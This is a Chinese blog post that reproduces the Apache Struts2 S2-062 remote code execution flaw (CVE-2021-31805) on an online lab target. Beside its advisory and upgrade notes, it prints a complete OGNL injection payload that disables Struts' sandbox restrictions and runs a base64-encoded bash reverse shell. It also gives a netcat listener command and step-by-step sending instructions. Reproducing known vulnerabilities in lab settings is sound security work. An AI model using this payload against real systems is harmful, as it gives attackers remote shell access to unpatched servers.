当前位置:网站首页>S2-062 远程命令执行漏洞复现(cve-2021-31805)
S2-062 远程命令执行漏洞复现(cve-2021-31805)
2022-04-23 12:10:00 【MH cloud】
前言
咳咳,这个漏洞吧出来也有几天了,最近一直没时间,今天加个班写一下!
一、漏洞描述
Apache Struts2是一个基于MVC设计模式的流行的Web应用程序框架。
Apache Struts2发布安全公告(S2-062),修复了Apache Struts2中的一个远程代码执行漏洞(CVE-2021-31805)。
由于对CVE-2020-17530的修复不完整,在Apache Struts 2.0.0-2.5.29中,如果开发人员使用%{...}语法应用强制OGNL解析,标签的某些属性仍然可被二次解析。当对标签属性中未经验证的原始用户输入进行解析时可能会导致远程代码执行。
二、影响范围
Apache Struts 2.0.0-2.5.29
三、修复建议
目前此漏洞已经修复,建议受影响用户及时升级更新到Apache Struts 2.5.30或更高版本。
下载链接:https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.30
缓解措施:避免对不受信任或未经验证的用户输入使用强制OGNL解析。
四、漏洞复现
复现环境:Vulfocus 漏洞威胁分析平台 在线靶场,这个靶场还是不错的
1.根据漏洞提示访问首页
2.抓包首页
3.构造payload,变更请求方法为post,
name=(%23request.map%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map.setBean(%23request.get('struts.valueStack'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map2%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map2.setBean(%23request.get('map').get('context'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.map3%3d%23%40org.apache.commons.collections.BeanMap%40{}).toString().substring(0,0)+%2b
(%23request.map3.setBean(%23request.get('map2').get('memberAccess'))+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get('map3').put('excludedPackageNames',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23request.get('map3').put('excludedClasses',%23%40org.apache.commons.collections.BeanMap%40{}.keySet())+%3d%3d+true).toString().substring(0,0)+%2b
(%23application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNTQ1NCAwPiYx}|{base64,-d}|{bash,-i}'}))
4.把反弹shell的命令base64编码处理并且对其url编码
5. base64 加密
6.URL加密
7. 替换到bp里面
8.准备一台服务器进行监听
nc -vvlp 7777
9.bp点击发送反弹shell
到这里整个漏洞就复现完成了
今天依旧大佬勿喷哈!!
本人理念:菜也要菜的理直气壮!!
MHcloud一个对网络安全充满憧憬的小菜鸡
版权声明
本文为[MH cloud]所创,转载请带上原文链接,感谢
https://blog.csdn.net/m0_52400001/article/details/124351488
边栏推荐
- 2022 love analysis · panoramic report of industrial Internet manufacturers
- How imeu is associated with imcu (IM 5.5)
- Why is the premise of hash% length = = hash & (length-1) that length is the nth power of 2
- 什么是网关
- Step function of activation function
- Intelligent multi line elastic cloud adds independent IP address. How to realize multi line function?
- Redis learning 5 - high concurrency distributed lock practice
- 画结果图推荐网址
- A detailed explanation of head pose estimation [collection of good articles]
- IM表达式的目的(IM 5.2)
猜你喜欢
网络信息安全之零信任
激活函数之阶跃函数
SQL 练习(一)
Nativeformysql connects to MySQL 8 prompt: 1251 - client does not support authentication protocol
欣旺达宣布电池产品涨价 此前获“蔚小理”投资超10亿
Relu function of activation function
为什么要有包装类,顺便说一说基本数据类型、包装类、String类该如何转换?
Share two practical shell scripts
Siri gave the most embarrassing social death moment of the year
Practical data Lake iceberg lesson 30 MySQL - > iceberg, time zone problems of different clients
随机推荐
《通用数据保护条例》(GDPR)系列解读三:欧洲子公司如何向国内母公司回传数据?
第二十五课 类的静态成员变量
面了一圈,整理了这套面试题。。
Idea database navigator plug-in
运行报错:找不到或无法加载主类 com.xxx.Application
Running error: unable to find or load the main class com xxx. Application
[web daily practice] eight color puzzle (float)
Database Navigator 使用默认MySQL连接提示:The server time zone value ‘Öйú±ê׼ʱ¼ä’ is unrecognized or repres
第四章 为IM 启用填充对象之在NO INMEMORY表上指定INMEMORY列属性:示例(IM-4.4 第四部分)
为什么hash%length==hash&(length-1)的前提是 length 是 2 的 n 次方
第五章 使用In-Memory表达式优化查询(IM 5.1)
NativeForMySQL 连接MySQL8 提示:1251- Client does not support authentication protocol
数组---
Fastjson 2 来了,性能继续提升,还能再战十年
C set Logo Icon and shortcut icon
Windows2008系统如何切换PHP版本
Application of remote integrated monitoring system in power distribution room in 10kV prefabricated cabin project
第二十四课 经典问题解析
Next. JS static data generation and server-side rendering
PSCP basic usage